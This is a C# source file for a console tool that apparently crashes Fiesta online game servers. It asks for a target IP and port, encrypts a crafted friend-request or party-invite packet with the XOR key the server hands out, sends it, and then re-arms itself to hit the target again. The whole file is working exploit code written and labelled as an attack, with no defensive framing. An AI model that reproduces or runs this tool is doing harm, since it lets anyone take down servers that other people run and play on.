using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

using FilterAPI.Networking;

namespace FilterCrash
{
    internal class Program
    {
        [DllImport("User32.Dll", EntryPoint = "PostMessageA")]
        private static extern bool PostMessage(IntPtr hWnd, uint msg, int wParam, int lParam);

        const int VK_RETURN = 0x0D;
        const int WM_KEYDOWN = 0x100;

        private static void Main() { StartAttack(); }

        private static void StartAttack()
        {
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Enter target IP-Address:");

            String IP = Console.ReadLine();

            Console.WriteLine("Enter target Port:");

            Int32 Port = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Which attack method would you like to use:");
            Console.WriteLine("0: Friend packet");
            Console.WriteLine("1: Party-invite packet");

            CrashType CT = (CrashType)Enum.Parse(typeof(CrashType), Console.ReadLine());

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("Target selected: {0}:{1}. Attack method: {2}", IP, Port, CT);
            Console.WriteLine("Target is online: {0}.", PingClient.Ping(IP, Port));
            Console.WriteLine("Press any key to send attack...");

            Console.ReadLine();

            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("Attempting to connect to {0}:{1}.", IP, Port);
             
            CrashClient CC = new CrashClient(IPAddress.Parse(IP), Port, CT);
            CC.ResetAttack += CC_ResetAttack;

            Console.ReadLine();

            StartAttack();
        }

        private static void CC_ResetAttack()
        {
            var hWnd = System.Diagnostics.Process.GetCurrentProcess().MainWindowHandle;
            PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0);
        }
    }

    internal enum CrashType
    {
        Friend = 0,
        PartyInvite = 1
    }

    internal class CrashClient : Client
    {
        public delegate void ResetEventHandler();

        public event ResetEventHandler ResetAttack;

        private FiestaCrypto Crypto = null;

        private CrashType Method;

        public CrashClient(IPAddress IP, Int32 Port, CrashType CT)
            : base(IP, Port, false) { Method = CT; }

        public override void Connected()
        {
            Console.ForegroundColor = ConsoleColor.Cyan;
            Console.WriteLine("Connected to {0}:{1} successfully.", ClientEndPoint.Address, ClientEndPoint.Port);
            Console.WriteLine("Starting to receive data from connection.");
        }

        public override void Received(Byte[] Buffer)
        {
            using (var ServerPacket = new Packet(Buffer))
            {
                ServerPacket.SetHeaderAndType();

                if (ServerPacket.Header == 2 && ServerPacket.Type == 7)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("Received xor from server.");

                    Int16 Xor = ServerPacket.PacketReader.ReadInt16();

                    Crypto = new FiestaCrypto(Xor, File.ReadAllLines(String.Format("{0}\\Crypto.txt", AppDomain.CurrentDomain.BaseDirectory))[0]);

                    Console.WriteLine("Set xor to {0}.", Xor);
                    Console.ForegroundColor = ConsoleColor.Cyan;
                    Console.WriteLine("Sending the selected packet to the server.");

                    switch (Method)
                    {
                        case CrashType.Friend:
                            {
                                using (var ClientPacket = new Packet(21, 5))
                                {
                                    ClientPacket.WriteString("H7bDxXZUqDJ5AwxU", 16);

                                    SendPacket(ClientPacket);
                                }

                                break;
                            }
                        case CrashType.PartyInvite:
                            {
                                using (var ClientPacket = new Packet(14, 2))
                                {
                                    ClientPacket.WriteString("H7bDxXZUqDJ5AwxU", 16);

                                    SendPacket(ClientPacket);
                                }

                                break;
                            }
                    }
                }
            }
        }

        public void SendPacket(Packet ServerPacket)
        {
            Byte[] PacketBuffer;

            ServerPacket.ToArray(Crypto, out PacketBuffer);

            Send(PacketBuffer);
        }

        public override void Disconnected()
        {
            Console.ForegroundColor = ConsoleColor.Cyan;
            Console.WriteLine("Target is online: {0}.", PingClient.Ping(ClientEndPoint.Address.ToString(), ClientEndPoint.Port));
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("Client disconnected.");
            Console.WriteLine("Resetting attack.");

            ResetAttack();
        }
    }

    internal class PingClient
    {
        public static Boolean Ping(String IP, Int32 Port)
        {
            try
            {
                TcpClient TC = new TcpClient(IP, Port);

                return true;
            }
            catch { return false; }
        }
    }
}
